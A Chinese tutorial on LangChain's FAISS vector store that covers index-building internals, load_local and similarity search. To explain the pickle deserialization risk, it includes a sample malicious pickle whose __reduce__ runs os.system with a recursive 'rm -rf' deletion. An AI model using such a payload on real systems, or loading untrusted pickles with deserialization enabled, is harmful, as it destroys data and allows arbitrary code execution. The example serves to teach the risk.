CH3_02_langchain_faiss

索引创建细节#

通过深入 LangChain 源码，可以发现索引创建是一个分层、解耦的过程，主要涉及以下几个方法的嵌套调用：

1. from_documents (封装层):

   • 这是我们直接调用的方法。它的职责很简单：从输入的 Document 对象列表中提取出纯文本内容 (page_content) 和元数据 (metadata)。
   • 然后，它将这些提取出的信息传递给核心的 from_texts 方法。

2. from_texts (向量化入口):

   • 这个方法是面向用户的入口。它接收文本列表，并执行关键的第一步：调用 embedding.embed_documents(texts)，将所有文本批量转换为向量。
   • 完成向量化后，它并不直接处理索引构建，而是将生成的向量和其他所有信息（文本、元数据等）传递给一个内部的辅助方法 __from。

3. __from (构建索引框架):

   • 一个内部方法，负责搭建 FAISS 向量存储的“空框架”。
   • 它会根据指定的距离策略（默认为 L2 欧氏距离）初始化一个空的 FAISS 索引结构（如 faiss.IndexFlatL2）。
   • 同时，它也准备好了用于存储文档原文的 docstore 和用于连接 FAISS 索引与文档的 index_to_docstore_id 映射。
   • 最后，它调用另一个内部方法 __add 来完成数据的填充。

4. __add (填充数据):

   • 真正执行数据添加操作的核心。它接收到向量、文本和元数据后，执行以下关键操作：
     • 添加向量: 将向量列表转换为 FAISS 需要的 numpy 数组，并调用 self.index.add(vector) 将其批量添加到 FAISS 索引中。
     • 存储文档: 将文本和元数据打包成 Document 对象，存入 docstore。
     • 建立映射: 更新 index_to_docstore_id 字典，建立起 FAISS 内部的整数 ID（如 0, 1, 2…）到我们文档唯一 ID 的映射关系。

1
# 3. 加载索引并执行查询
2
# 加载时需指定相同的嵌入模型，并允许反序列化
3
loaded_vectorstore = FAISS.load_local(
4
    local_faiss_path,
5
    embeddings,
6
    allow_dangerous_deserialization=True
7
)

• load_local ：从磁盘加载 FAISS 索引、文档库和 index_to_docstore_id，接收四个参数：
  • folder_path ：要从中加载索引、文档库和 index_to_docstore_id 的文件夹路径；
  • embeddings ：生成查询时使用的嵌入；
  • index_name ：用于保存的特定索引文件名；
  • allow_dangerous_deserialization ：是否允许反序列化数据，这涉及到加载 pickle 文件。恶意攻击者可以修改 pickle 文件，从而传递恶意载荷，导致在您的计算机上执行任意代码。

序列化与反序列化#

序列化（Serialization）：把内存中的对象（比如 Python 的列表、字典、自定义类实例）转换成可以存储或传输的格式（比如二进制文件、JSON 字符串）。

反序列化（Deserialization）：反过来，把存储的二进制数据恢复成内存中的对象。

当我们调用 FAISS.load_local() 时，如上所述，它需要从磁盘恢复三样东西：

• index.faiss ：内容为 FAISS 向量索引，二进制格式，安全；
• index.pkl ：文档库 + index_to_docstore_id，Pickle 格式，有风险。

之所以说 index.pkl 是危险的，是因为 Pickle 反序列化可以执行任意代码。考虑一个恶意构造的 pickle 文件：

1
# 攻击者构造的恶意 pickle 数据
2
import pickle
3
import os
4

5
# 在反序列化时自动执行系统命令
6
class Malicious:
7
    def __reduce__(self):
8
        return (os.system, ("rm -rf /重要数据",))
9

10
with open("index.pkl", "wb") as f:
11
    pickle.dump(Malicious(), f)

可以看到，当我们用 pickle.load() 加载它时，这段恶意代码就会在我们的电脑上执行。相当于你捡了一个 U 盘插到自己电脑上，如果 U 盘里有病毒，你就中招了。

这里我们传入 allow_dangerous_deserialization=True，是因为这里的 .pkl 文件是我们刚刚自己保存的，来源可信，所以安全。

1
# 执行相似性搜索
2
query = "FAISS是做什么的？"
3
results = loaded_vectorstore.similarity_search(query, k=1)

• similarity_search ：返回最符合 query 的 docs，接收四个参数：
  • query ：要查找相似 doc 的文本；
  • k ：要返回 docs 的数量，默认为 4；
  • filter ：可选，按元数据过滤，默认为 None；
  • fetch_k ：可选，过滤前要获取的 docs 数量，默认为 20.

1
print(f"\n查询: '{query}'")
2
print("相似度最高的文档:")
3
for doc in results:
4
    print(f"- {doc.page_content}")